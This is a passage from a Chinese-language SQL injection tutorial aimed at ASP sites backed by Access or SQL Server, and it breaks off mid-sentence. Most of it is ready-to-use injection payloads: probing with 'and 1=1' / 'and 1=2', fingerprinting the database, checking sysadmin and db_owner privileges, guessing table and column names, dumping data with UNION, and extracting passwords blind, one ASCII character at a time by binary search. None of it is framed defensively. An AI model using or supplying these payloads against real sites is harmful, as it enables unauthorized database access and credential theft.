:chr(数字)
SQLServer:nchar(数字)
Chr(35)=#(根据ascii码35得到字符#)
4.access:mid(字符串,N,1)
SQLServer:substring(字符串,N,1)
Mid(KYO,1,1)=K(截取字符串KYO的第一位为K)
Mid(KYO,3,1)=O(截取字符串KYO的第三位为O)
5.access:abs(数字)
SQLServer:abs(数字)
abs(-111)=111(去的数字-111的绝对值为111)
6.A between B and C(判断A是否界于B与C之间)
检测网站注入点:
最好的方法就是在URL后面添加“ and 1=1”和“ and 1=2”。如果两次返回的结果不同,则说明很有可能存在注入。在1=1中出现而没有在1=2中出现的内容就是注入的关键字,也称为特征字符。
判断数据库类型:
URL后面加“ and user>0”提交,通过返回的信息判断数据库类型,并可知数据库的用户名。或在URL后加“ and 0<>(Select count(*) from sysobjects)”提交,如果返回与原页面相同,则为mssql,反之access。
检测ms
sql数据库权限:
在URL后加“ and 0<>(Select ISSRVROLEMEMBER(’sysadmin’))--”,如果正常则SA权限,错误,则提交“ and 0<>(Select IS_MEMBER(’db_owner’))--”,如果返回正常,怎db_owner权限,错误继续添加“ and 0<>(Select IS_MEMBER(’public’))--”,正常则是public权限。
MSSQL小技巧:
在注入点后面加“and db_name()>0”提交,从返回页面可指数据库名称。
加“and (Select @@ version)<>0”,可知SQLServer版本信息以及服务器操作
系统的类型和版本信息。
字符型注入漏洞检测:
对应URL后面加“’and’1’=’1’”和“’and’1’=’2’”。
搜索型注入漏洞检测:
在URL后加%’and 1=1 and ‘%’ =’和%’and 1
=2 and ‘%’=’分别提交。
如baidu/search.asp?key
word=KYO,此功能在ASP中一般写为:keyword=request(”keyword”),赋值“KYO”到SQL语句中的时候即变为Select * from 表名 where keyword like ‘%KYO%’
Access数据库:
1. 猜解表名:and exists(Select * from 表名)
2. 猜解列名:and exists(Select 字段名 from 表名)
3. union查询:Select 字段1,字段2,……,字段N from 表名1 union Select 字段1,字段2,……,字段M from 表名2
其中N=M
成功猜出表名及列名后,可以利用union联合
查询直接暴出对应数据。一次提交:
xxx/xx.asp?id=x and 1=1 union select 1 from 表名
xxx/xx.asp?id=x and 1=1 union select 1,2 from 表名
xxx/xx.asp?id=x and 1=1 union select 1,2,3 from 表名
xxx/xx.asp?id=x and 1=1 union select 1,2,3,4 from 表名
……
如此继续,知道提交到第N个数页面返回错误。说明表中还有N-1个字段。返回正常页面(删除第N个数后),把and 1=1换成and 1=2,其他内容不变,提交,即可发现返回页面中数字M与提交M一致,将M改为字段名,相应位置即可直接得到字段内容!
4. ascii逐字解码法:
猜解列长度:and(Select top 1 len(列名) from 表名)>N
此处N为变换猜解的列长度,当返回错误页面时,说明该列长度为N。
Top 1的意思是把最前面的一条记录提取出来,如果要猜解第二条记录应为:
Select top 1 len(列名) from 表名 where 列名 not in (Select top 1 列名 from 表名)
Ascii码分析猜解用户密码:
Mid(列名,N,1)返回“列名”这个字符串里,从第N位开始的一个字符。
Asc(mid(列名,N,1))得到第N位字符ascii码。
And (Select top 1 asc(mid(字段名,N,1))from 数据库名)=x 如果返回正常,即x为第N位ascii码
借助区间判断函数“……between……and……”:语句为and exists (Select * from 表名 where asc(mid(字段名,N,1))between x and y)
以此判断第N位ascii值取值范围是否在x和y之间。
是使用“二分法”缩小猜解范围。
中文处理方法:中文汉字的ascii码为负数,所以可使用